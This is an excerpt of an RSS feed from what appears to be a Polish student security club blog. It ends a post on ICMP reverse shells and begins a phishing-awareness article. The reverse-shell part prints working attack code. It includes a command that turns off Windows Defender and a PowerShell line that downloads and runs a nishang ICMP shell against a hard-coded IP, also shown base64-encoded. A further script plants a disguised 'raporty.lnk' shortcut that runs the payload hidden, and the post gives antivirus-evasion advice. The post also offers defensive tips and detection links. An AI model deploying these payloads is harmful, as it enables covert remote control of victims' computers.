&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="nb">Set-MpPreference&lt;/span> &lt;span class="n">-DisableRealtimeMonitoring&lt;/span> &lt;span class="vm">$true&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Jak więc obyć się bez tego? W tym celu potrzeba obejść sygnatury, których szuka Windows Defender w wykonywanym kodzie. Rozwiązaniem jest tzw. &lt;a href="https://pl.wikipedia.org/wiki/Zaciemnianie_kodu"target="_blank" rel="noopener">Obfuskacja&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. To celowe mieszanie kodu tak by był mniej czytelny - dla ludzi, oraz antywirusów. Będzie to np. zakodowanie części payloadu (np. w base64), lub zaszyfrowywanie go (np. w AES). Przykładowo nasz payload uruchamiający zdalną linię komend możemy zaciemnić w ten sposób:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="n">powershell&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">exe&lt;/span> &lt;span class="n">-c&lt;/span> &lt;span class="s1">&amp;#39;(iwr https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1).Content|iex&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># Base64 - kiedyś to działało!&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">powershell&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">exe&lt;/span> &lt;span class="n">-enc&lt;/span> &lt;span class="n">KGl3ciBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2FtcmF0YXNob2svbmlzaGFuZy9tYXN0ZXIvU2hlbGxzL0ludm9rZS1Qb3dlclNoZWxsSWNtcC5wczEpLkNvbnRlbnR8aWV4O0ludm9rZS1Qb3dlclNoZWxsSWNtcCAtSVBBZGRyZXNzIDUxLjM4LjE4NS4yMzIK&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>To bardzo podstawowe użycie, obecnie Windows Defender (i zapewne każdy inny antywirus), wykryje złośliwy kod zapisany w ten sposób. Skuteczna obfuskacja w dzisiejszych czasach wymaga wielokrotnego i wielopoziomowego zaciemniania kodu różnymi metodami. Z pomocą może nam przyjść tutaj framework - &lt;em>&lt;a href="https://github.com/danielbohannon/Invoke-Obfuscation"target="_blank" rel="noopener">Invoke-Obfuscation&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>Ideę obfuskacji świetnie obrazuje jego ekran startowy:&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./invoke-obfuscation.png" alt="Przykład obfuskacja">
&lt;figcaption>Przykład obfuskacja.&lt;/figcaption>
&lt;/figure>
&lt;p>Odpowiednio zmienioną z użyciem &lt;em>Invoke-Obfuscation&lt;/em> komendę kopiujemy w pole Target tworzonego skrótu. Nie ma sensu bym wklejał tutaj wyjściowy kod, który zadziała u mnie, gdyż w ciągu paru miesięcy, może on nie działać wraz z nową wersją Windows Defendera - to już kwestia eksperymentów.&lt;/p>
&lt;p>Pojedyncza obfuskacja może być niewystarczająca, warto wykorzystać kilka różnych technik nakładając je na siebie. W przypadku lokalnego testowania na Windowsie 10, trzeba pamiętać by wyłączyć opcję Windows Defendera - &lt;em>Cloud-delivered protection&lt;/em> oraz &lt;em>Automatic sample submission&lt;/em>. W przeciwnym wypadku nasz payload może zadziałać tylko raz.&lt;/p>
&lt;p>Tworzenie skrótu również możemy wykonywać bezpośrednio z powershella, zamiast z windowsowego eksploratora plików. Z poziomu kodu można wrzucić więcej znaków w pole &lt;em>Target&lt;/em> niż z poziomu eksploratora plików (tutaj tylko 256 znaków)&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># Wyłącz Windows Defender Realtime protection dla testów bez obfuskacji - wymaga admina&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># Nie zobfuskowana komenda będzie mogła działać jedynie&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># z wyłączoną funkcją Real Time protection &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c">#Set-MpPreference -DisableRealtimeMonitoring $true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># Stwórz payload&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$cmd&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s1">&amp;#39;(iwr https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1).Content|iex;Invoke-PowerShellIcmp -IPAddress 51.38.185.232&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># Stwórz link&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$w&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nb">New-Object&lt;/span> &lt;span class="n">-ComObject&lt;/span> &lt;span class="n">WScript&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">Shell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$desktop&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="no">system.environment&lt;/span>&lt;span class="p">]::&lt;/span>&lt;span class="n">GetFolderPath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Desktop&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$link&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="nv">$w&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">CreateShortcut&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$desktop&lt;/span>&lt;span class="s2">\raporty.lnk&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$link&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">TargetPath&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s1">&amp;#39;powershell.exe&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$link&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">Arguments&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s2">&amp;#34;-w h -c &lt;/span>&lt;span class="se">`&amp;#34;&lt;/span>&lt;span class="nv">$cmd&lt;/span>&lt;span class="se">`&amp;#34;&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$link&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">workingDirectory&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s1">&amp;#39;c:\&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># Liczba po przecinku ustawia ikonę &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># (numeracja zgodnie z kolejnością w eksploratorze plików)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$link&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">IconLocation&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s2">&amp;#34;C:\Windows\System32\Shell32.dll,3&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$link&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">save&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">&amp;gt;&lt;/span> &lt;span class="vm">$null&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h3>Serwer&lt;span class="hx:absolute hx:-mt-20" id="serwer">&lt;/span>
&lt;a href="#serwer" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Wpierw (przed odpaleniem wirusa) musimy ustawić nasłuchiwanie po stronie serwera, w tym celu możemy użyć listenera również z wcześniej wymienianego narzędzia - &lt;a href="https://github.com/inquisb/icmpsh"target="_blank" rel="noopener">https://github.com/inquisb/icmpsh&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Wyłącz odpowiedzi serwera na ping &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sysctl -w net.ipv4.icmp_echo_ignore_all&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Uruchom listner ICMP Reverse Shell&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">python icmpsh_m.py &amp;lt;dst_ip&amp;gt; &amp;lt;src_ip&amp;gt;&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h3>Wykonanie&lt;span class="hx:absolute hx:-mt-20" id="wykonanie">&lt;/span>
&lt;a href="#wykonanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Voila! - Po odpaleniu skrótu zobaczymy w naszym listenerze przejście do powershellowej linii komend kontrolującej komputer naszej ofiary.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./Icon.png" alt="Ikona">
&lt;/figure>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./reverse-shell-listener.png" alt="Properties win lnk">
&lt;/figure>
&lt;h1>Podsumowanie&lt;/h1>&lt;p>W branży bezpieczeństwa często widać wykorzystanie technologii, w sposób, który nie został przewidziany przez jej twórców. Dane w protokole ICMP, które miały służyć jako dodatkowe informacje dla rozwiązywania problemów sieciowych, można wykorzystać jako pełny kanał komunikacyjny, który łatwo przeoczyć.&lt;/p>
&lt;p>To pokazuje potrzebę holistycznego podejścia do tematu - zarówno kiedy musisz zabezpieczyć sieć, jak i kiedy musisz sprawdzić jej zabezpieczenia.&lt;/p>
&lt;h3>&lt;span style="color:blue">Niebiescy&lt;/span>&lt;span class="hx:absolute hx:-mt-20" id="niebiescy">&lt;/span>
&lt;a href="#niebiescy" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;ul>
&lt;li>Blokuj ruch ICMP na firewall&amp;rsquo;u wychodzącym do Internetu i każdy ruch, który nie jest niezbędny&lt;/li>
&lt;li>Używaj dynamicznej analizy pakietów ICMP w sieci wewnętrznej&lt;/li>
&lt;li>Ciągle obserwuj pojawiające się nowe zagrożenia i reaguj na nie. Bezpieczeństwo jest ciągle trwającym procesem, ekfiltracja po ICMP może być znana już dawno, ale ta z wykorzystaniem innego protokołu, mogła pojawić się wczoraj&lt;/li>
&lt;/ul>
&lt;h3>&lt;span style="color:red">Czerwoni&lt;/span>&lt;span class="hx:absolute hx:-mt-20" id="czerwoni">&lt;/span>
&lt;a href="#czerwoni" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;ul>
&lt;li>Szukaj niestandardowych rozwiązań i omijaj popularne, jeśli boisz się wykrycia&lt;/li>
&lt;li>Samo wysłanie danych ICMP nie wymaga uprawnień administracyjnych (nasłuchiwanie / C&amp;amp;C shell już tak), może czasami to dość by wyciągnąć dane?&lt;/li>
&lt;li>Nadużywaj natywnych rozwiązań (np. ping), zamiast szukać gotowych narzędzi&lt;/li>
&lt;/ul>
&lt;h2>Biblioteczka&lt;span class="hx:absolute hx:-mt-20" id="biblioteczka">&lt;/span>
&lt;a href="#biblioteczka" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>&lt;a href="https://resources.infosecinstitute.com/icmp-reverse-shell/#gref"target="_blank" rel="noopener">https://resources.infosecinstitute.com/icmp-reverse-shell/#gref&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://pentestlab.blog/tag/icmpsh/"target="_blank" rel="noopener">https://pentestlab.blog/tag/icmpsh/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.hackingarticles.in/command-and-control-tunnelling-via-icmp/"target="_blank" rel="noopener">https://www.hackingarticles.in/command-and-control-tunnelling-via-icmp/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.mit.edu/afs.new/sipb/user/golem/tmp/ptunnel-0.61.orig/web/"target="_blank" rel="noopener">http://www.mit.edu/afs.new/sipb/user/golem/tmp/ptunnel-0.61.orig/web/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://martinojones.com/data-exfiltration-using-valid-icmp-packets-b5c489548fb1"target="_blank" rel="noopener">https://martinojones.com/data-exfiltration-using-valid-icmp-packets-b5c489548fb1&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/martinoj2009/ICMPExfil"target="_blank" rel="noopener">https://github.com/martinoj2009/ICMPExfil&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://phrack.org/issues/49/6.html#article"target="_blank" rel="noopener">http://phrack.org/issues/49/6.html#article&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3>Wykrywanie&lt;span class="hx:absolute hx:-mt-20" id="wykrywanie">&lt;/span>
&lt;a href="#wykrywanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;ul>
&lt;li>&lt;a href="https://logrhythm.com/blog/identifying-powershell-tunneling-through-icmp/"target="_blank" rel="noopener">https://logrhythm.com/blog/identifying-powershell-tunneling-through-icmp/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=6300&amp;amp;signatureSubId=0"target="_blank" rel="noopener">https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=6300&amp;amp;signatureSubId=0&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.patternex.com/threatex/detecting-and-verifying-icmp-exfiltration-with-ai-enabled-platform"target="_blank" rel="noopener">https://www.patternex.com/threatex/detecting-and-verifying-icmp-exfiltration-with-ai-enabled-platform&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://resources.infosecinstitute.com/icmp-attacks/#gref"target="_blank" rel="noopener">https://resources.infosecinstitute.com/icmp-attacks/#gref&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Phishing</title><link>https://whitehats.pwr.edu.pl/blog/2020-05-07-phishing/</link><pubDate>Thu, 07 May 2020 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2020-05-07-phishing/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2020-05-07-phishing/header_hu_b7a63159564eabcc.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>O phishingu pewnie każdy z nas słyszał - nawet jeśli sama nazwa nic nie mówi. W folderze Spam w naszym ulubionym kliencie pocztowym z pewnością zalega wiele wiadomości o czekającym spadku po dalekim krewnym z Afryki, czy kuszące obniżki na nasz ulubiony produkt. Banki starają się propagować dobre praktyki, poprzez powiadomienia w aplikacjach mobilnych i na stronach: &lt;code>Nie klikaj w linki&lt;/code>, &lt;code>Pracownik nie poprosi cię o hasło&lt;/code>, &lt;code>Nie podawaj danych osobowych nieznajomym&lt;/code>. Robią to nie bez powodu.&lt;/p>
&lt;div class="hx:overflow-x-auto hx:mt-6 hx:flex hx:flex-col hx:rounded-lg hx:border hx:py-4 hx:px-4 hx:border-gray-200 hx:contrast-more:border-current hx:contrast-more:dark:border-current hx:border-amber-200 hx:bg-amber-100 hx:text-amber-900 hx:dark:border-amber-200/30 hx:dark:bg-amber-900/30 hx:dark:text-amber-200">
&lt;p class="hx:flex hx:items-center hx:font-medium">&lt;svg height=16px class="hx:inline-block hx:align-middle hx:mr-2" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" aria-hidden="true">&lt;path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"/>&lt;/svg>Disclaimer&lt;/p>
&lt;div class="hx:w-full hx:min-w-0 hx:leading-7">
&lt;div class="hx:mt-6 hx:leading-7 hx:first:mt-0">&lt;p>Celem tego artykułu jest tylko i wyłącznie ostrzeganie użytkowników przed zagrożeniami oraz informowanie ich o najpopularniejszych metodach manipulacji wykorzystywanych przez cyberprzestępców. SKN White-Hats nie odpowiada za straty poniesione w wyniku phishingu.&lt;/p>&lt;/div>
&lt;/div>
&lt;/div>
&lt;h2>Czym jest phishing?&lt;span class="hx:absolute hx:-mt-20" id="czym-jest-phishing">&lt;/span>
&lt;a href="#czym-jest-phishing" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Każdy z nas ma jakiś słaby punkt. Taką słabość można wykorzystać, aby wykraść nasze dane. Granie na ludzkich emocjach od zawsze było czymś, na czym bazowali politycy, mówcy, a teraz także hakerzy. Wystarczy chwila nieuwagi i wszystko, co mieliśmy może zniknąć. Aby tego dokonać, przestępcy mogą wykorzystać właśnie phishing. Polega on na podszyciu się przez przestępcę pod inną instytucję/osobę, do której odbiorca może mieć zaufanie i jego czujność jest zmniejszona. Zgodnie z &lt;a href="https://www-cdn.webroot.com/8415/0585/3084/Webroot_Quarterly_Threat_Trends_September_2017.pdf"target="_blank" rel="noopener">raportem&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> firmy Webroot na rok 2017, co miesiąc powstawało około 1.3 miliona unikalnych stron phishingowych. Według &lt;a href="https://www.ic3.gov/media/2017/170504.aspx"target="_blank" rel="noopener">informacji&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> dostarczonych przez FBI (2017), straty finansowe na całym świecie szacuje się w miliardach dolarów (i kwota ta stale rośnie).&lt;/p>
&lt;h3>Trochę liczb&lt;span class="hx:absolute hx:-mt-20" id="trochę-liczb">&lt;/span>
&lt;a href="#troch%c4%99-liczb" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;ul>
&lt;li>45% wszystkich wysłanych maili to spam&lt;/li>
&lt;li>według statystyk na 2019 rok, Amerykanie stracili co najmniej 703 tysiące dolarów w ramach scamów na &amp;ldquo;Nigeryjskiego Księcia&amp;rdquo;&lt;/li>
&lt;li>skutki ataków phishingowych opiewają na 20 miliardów dolarów rocznie&lt;/li>
&lt;li>na każde 12.5 miliona wysłanych maili spamerskich, odpowiedź przychodzi na jednego&lt;/li>
&lt;/ul>
